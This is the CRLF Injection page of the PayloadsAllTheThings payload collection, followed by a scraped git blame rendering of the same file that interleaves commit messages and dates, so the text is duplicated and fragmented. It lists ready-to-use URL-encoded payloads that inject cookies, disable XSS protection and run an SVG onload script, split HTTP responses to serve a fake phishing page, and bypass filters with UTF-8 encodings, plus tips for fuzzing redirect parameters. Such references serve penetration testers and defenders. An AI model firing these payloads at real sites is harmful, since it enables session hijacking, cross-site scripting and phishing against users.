PayloadsAllTheThings/CRLF Injection/README.md

# Carriage Return Line Feed

> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.

> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.

## Summary

- [CRLF - Add a cookie](#crlf---add-a-cookie)
- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
- [CRLF - Write HTML](#crlf---write-html)
- [CRLF - Filter Bypass](#crlf---filter-bypass)
- [References](#references)

## CRLF - Add a cookie

Requested page

```http
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
```

HTTP Response

```http
Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
```

## CRLF - Add a cookie - XSS Bypass

Requested page

```powershell
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
```

HTTP Response

```http
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0
```

## CRLF - Write HTML

Requested page

```http
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
```

HTTP response

```http
Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>
```

## CRLF - Filter Bypass

Using UTF-8 encoding

```http
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
```

Remainder:

* %E5%98%8A = %0A = \u560a
* %E5%98%8D = %0D = \u560d
* %E5%98%BE = %3E = \u563e (>)
* %E5%98%BC = %3C = \u563c (<)

## Labs

* [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)

## Exploitation Tricks
* Try to search for parameters that lead to redirects and fuzz them
* Also test the mobile version of the website, sometimes it is different or uses a different backend 

## References

* https://www.owasp.org/index.php/CRLF_Injection
* https://vulners.com/hackerone/H1:192749
-												Normalize Titles

											
										
										
											2022-10-12 10:13:55 +00:00
+								# Carriage Return Line Feed
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Normalize Titles

											
										
										
											2022-10-12 10:13:55 +00:00
+								> The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
-												Normalize Titles

											
										
										
											2022-10-12 10:13:55 +00:00
+								> A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
-												Added Summary in CRLF
											
										
										
											2019-12-17 16:42:35 +00:00
 								## Summary
 								- [CRLF - Add a cookie](#crlf---add-a-cookie)
 								- [CRLF - Add a cookie - XSS Bypass](#crlf---add-a-cookie---xss-bypass)
 								- [CRLF - Write HTML](#crlf---write-html)
 								- [CRLF - Filter Bypass](#crlf---filter-bypass)
 								- [References](#references)
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								## CRLF - Add a cookie
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								Requested page
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
+								```
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								HTTP Response
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								Connection: keep-alive
 								Content-Length: 178
 								Content-Type: text/html
 								Date: Mon, 09 May 2016 14:47:29 GMT
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								Location: https://www.example.net/[INJECTION STARTS HERE]
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								Set-Cookie: mycookie=myvalue
 								X-Frame-Options: SAMEORIGIN
 								X-Sucuri-ID: 15016
 								x-content-type-options: nosniff
 								x-xss-protection: 1; mode=block
 								```
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								## CRLF - Add a cookie - XSS Bypass
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								Requested page
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
 								```powershell
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								HTTP Response
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								HTTP/1.1 200 OK
 								Date: Tue, 20 Dec 2016 14:34:03 GMT
 								Content-Type: text/html; charset=utf-8
 								Content-Length: 22907
 								Connection: close
 								X-Frame-Options: SAMEORIGIN
 								Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
 								ETag: "842fe-597b-54415a5c97a80"
 								Vary: Accept-Encoding
 								X-UA-Compatible: IE=edge
 								Server: NetDNA-cache/2.2
 								Link: <https://example.com/[INJECTION STARTS HERE]
 								Content-Length:35
 								X-XSS-Protection:0
 
 								<svg onload=alert(document.domain)>
 
 								```
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								## CRLF - Write HTML
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								Requested page
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								```
 								HTTP response
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								Set-Cookie:en
 								Content-Length: 0
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
-												CRLF Payload

											
										
										
											2016-10-18 08:15:43 +00:00
+								HTTP/1.1 200 OK
 								Content-Type: text/html
 								Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
 								Content-Length: 34
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								<html>You have been Phished</html>
 								```
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
 								## CRLF - Filter Bypass
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								Using UTF-8 encoding
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
+								```http
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								Remainder:
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								* %E5%98%8A = %0A = \u560a
 								* %E5%98%8D = %0D = \u560d
 								* %E5%98%BE = %3E = \u563e (>)
 								* %E5%98%BC = %3C = \u563c (<)
-												update

											
										
										
											2022-10-01 19:56:49 +00:00
+								## Labs
 								* [https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
-												CORS and CRLF README.md updated

											
										
										
											2020-10-25 10:07:50 +00:00
 								## Exploitation Tricks
 								* Try to search for parameters that lead to redirects and fuzz them
 								* Also test the mobile version of the website, sometimes it is different or uses a different backend
-												Adding references sectio

											
										
										
											2018-12-24 14:02:50 +00:00
+								## References
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												CRLF injection updated

											
										
										
											2017-05-29 18:41:05 +00:00
+								* https://www.owasp.org/index.php/CRLF_Injection
 								* https://vulners.com/hackerone/H1:192749